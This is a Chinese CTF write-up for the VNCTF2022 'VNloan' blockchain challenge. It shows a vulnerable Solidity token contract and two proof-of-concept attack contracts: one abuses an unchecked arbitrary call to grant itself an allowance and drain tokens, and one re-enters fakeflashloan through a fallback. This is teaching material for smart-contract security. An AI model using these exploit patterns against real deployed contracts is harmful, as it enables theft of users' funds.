VNCTF2022公开赛 Blockchain-VNloan

admin 2025年2月25日11:56:42评论7 views字数 4275阅读14分15秒阅读模式

0x00 背景

基于 Uniswap V3 的 DeFi 流动性协议Visor Finance遭受黑客攻击,黑客利用重入漏洞耗尽了880万枚VISR代币,当时,VISR的交易价格约为0.93美元,总损失约为820万美元。

因为call调用产生的漏洞还是比较多的,比如重入漏洞,atn代币增发事件等。

0x01 VNloan

题目链接:https://buuoj.cn/match/matches/81/challenges

解出密码获得题目合约

VNCTF2022公开赛 Blockchain-VNloan

Setup.sol

pragma solidity0.4.26;
import"./VNETH.sol";
contractSetup{
VNETHpublicvneth;
boolpublic Solved=false;
constructor()publicpayable{
vneth=newVNETH();
}
functionchecksuccess()public{
if(vneth.balanceOf(msg.sender)>=5000)
Solved=true;
}
functionisSolved()publicviewreturns(bool){
if(Solved==true){
returntrue;
}
returnfalse;
}
}

VNETH.sol

pragma solidity0.4.26;

contractVNETH{
addresspublic owner;
stringpublic name="VN ETHER";
stringpublic symbol="VNeth";
uint8public decimals=18;
boolpublic isLoan=false;
eventApproval(addressindexedsrc,addressindexedguy,uintwad);
eventTransfer(addressindexedsrc,addressindexeddst,uintwad);
eventDeposit(addressindexeddst,uintwad);
eventWithdrawal(addressindexedsrc,uintwad);

mapping(address=>uint)publicbalanceOf;
mapping(address=>mapping(address=>uint))publicallowance;
constructor()public{
owner=msg.sender;
balanceOf[owner]=1e18ether;
balanceOf[address(this)]=1e18ether;
}
function()externalpayable{
deposit();
}
functiondeposit()publicpayable{
balanceOf[msg.sender]+=msg.value;
emitDeposit(msg.sender,msg.value);
}
functionwithdraw(uintwad)public{
require(balanceOf[msg.sender]>=wad);
balanceOf[msg.sender]-=wad;
(msg.sender).transfer(wad);
emitWithdrawal(msg.sender,wad);
}

functiontotalSupply()publicviewreturns(uint){
returnaddress(this).balance;
}

functionapprove(addressguy,uintwad)publicreturns(bool){
allowance[msg.sender][guy]=wad;
emitApproval(msg.sender,guy,wad);
returntrue;
}

functiontransfer(addressdst,uintwad)publicreturns(bool){
returntransferFrom(msg.sender,dst,wad);
}

functionfakeflashloan(uint256value,addresstarget,bytesmemorydata)public{
require(isLoan==false&&value>=0&&value<=1000);
balanceOf[address(this)]-=value;
balanceOf[target]+=value;

address(target).call(data);

isLoan=true;
require(balanceOf[target]>=value);
balanceOf[address(this)]+=value;
balanceOf[target]-=value;
isLoan=false;
}

functiontransferFrom(addresssrc,addressdst,uintwad)
public
returns(bool)
{
require(balanceOf[src]>=wad);

if(src!=msg.sender&&allowance[src][msg.sender]!=2**256-1){
require(allowance[src][msg.sender]>=wad);
allowance[src][msg.sender]-=wad;
}

balanceOf[src]-=wad;
balanceOf[dst]+=wad;

emitTransfer(src,dst,wad);

returntrue;
}
}

0x03 分析漏洞

解法一 call调用

首先分析setup代码,我们可以看到需要满足调用者的余额大于等于5000,确定下来方向然后主要看VNETH合约。

我们可以看到在合约构造过程中,合约owner以及合约本身有1^18^*1^18^的余额,所以要是我们的攻击合约余额达到5000,可以从owner或合约中转账过来。

而从合约中想指定账户转账需要提前授权相应数量的代币。

VNCTF2022公开赛 Blockchain-VNloan

所以在msg.sender是漏洞合约的前提下控制guy为攻击合约,即可为攻击合约获得权限

VNCTF2022公开赛 Blockchain-VNloan

注意到,在该函数中,可以在target的环境下调用data,而target以及data都是可控的,所以漏洞是出现在call调用处。

所以我们可以构造data(包括function selctor以及对应参数),data可以通过调用approve函数获得。

再对fakeflashloan函数进行调用,传入data即可调用漏洞合约下的approve函数,此时msg.sender将是漏洞合约本身,攻击合约将会获得来自漏洞合约的指定数量的代币授权。

授权之后只需要调用transferfrom函数,将对应数量的代币转账到攻击合约中,即可满足解题条件。

poc如下

contractattack{
VNETHtarget=VNETH(0xe67f9c7880049BD323cc73D13Bed19c16dfC27F5);
Setuptarget1=Setup(0xb27A31f1b0AF2946B7F582768f03239b1eC07c2c);
functionapprove(addressguy,uintwad)public{
target.approve(guy,wad);
}
functiongetallowance(uint256value,addresst,bytesmemorydata)public{
target.fakeflashloan(value,t,data);
}
functiongetmoney(addresssrc,addressdst,uintwad)public{
target.transferFrom(src,dst,wad);
}
functionsuccess()public{
target1.checksuccess();
}
}

按照分析过程调用对应函数并传入相应的参数即可。

VNCTF2022公开赛 Blockchain-VNloan

解法二 重入

VNCTF2022公开赛 Blockchain-VNloan

VNCTF2022公开赛 Blockchain-VNloan

分析合约代码可以发现该处存在重入漏洞,而在fakeflashloan函数中data可控,并且对于isLoan变量的修改放在call之后,可以造成重入。

所以在攻击合约中调用一次fakeflashloan函数,随便输入一个data(bytes4类型,做selector)即可触发重入,攻击合约中的fallback函数内容为调用4次fakeflashloan函数(value是1000的情况下),此时总共调用了五次,余额达到要求。

但是值得注意的是,调用setup合约中的checksuccess函数时,要由攻击合约中的fallback函数判断达到条件后进行调用,具体原因放在poc之后

poc如下

contractattack{
VNETHtarget=VNETH(0x4b0d7A551c9371AEfC004Ae1a9F184aCD39B89C6);
Setuptarget1=Setup(0x9d83e140330758a8fFD07F8Bd73e86ebcA8a5692);
bytesdata='0xabcdabcd';
uinti;
functionreen()payablepublic{
target.fakeflashloan(1000,address(this),data);
}
function()externalpayable{
while(i<4){
i++;
target.fakeflashloan(1000,address(this),data);
}
if(i==4){
target1.checksuccess();
}
}
}

因为在进行call调用时,是一次call中嵌套着另一次call,总共五次。而在最后一次出发攻击合约中的fallback函数时已经不满足i<4的条件。

call调用的特点是只返回true或false不会抛出异常,所以他会执行后续代码,也就是相机执行完五次嵌套中的后续代码,攻击合约中的余额将被归零,所以要按照poc中的方法进行攻击即可。

VNCTF2022公开赛 Blockchain-VNloan

0x04 总结

call函数灵活性极高,合约在开发过程中,使用了危险的函数,并且使用不安全的交互模式,正是由于这种灵活性极高的函数的滥用造成了各种漏洞。

在此给开发者提出以下建议:

  1. 在合约开发过程中一定要谨慎的使用此类函数
  2. 并且在使用的过程中,对调用的合约地址,可调用的函数进行严格限制
  3. 智能合约在部署前必须经过严格的审计以及测试。

FROM:tttang . com

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月25日11:56:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   VNCTF2022公开赛 Blockchain-VNloanhttps://cn-sec.com/archives/849050.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息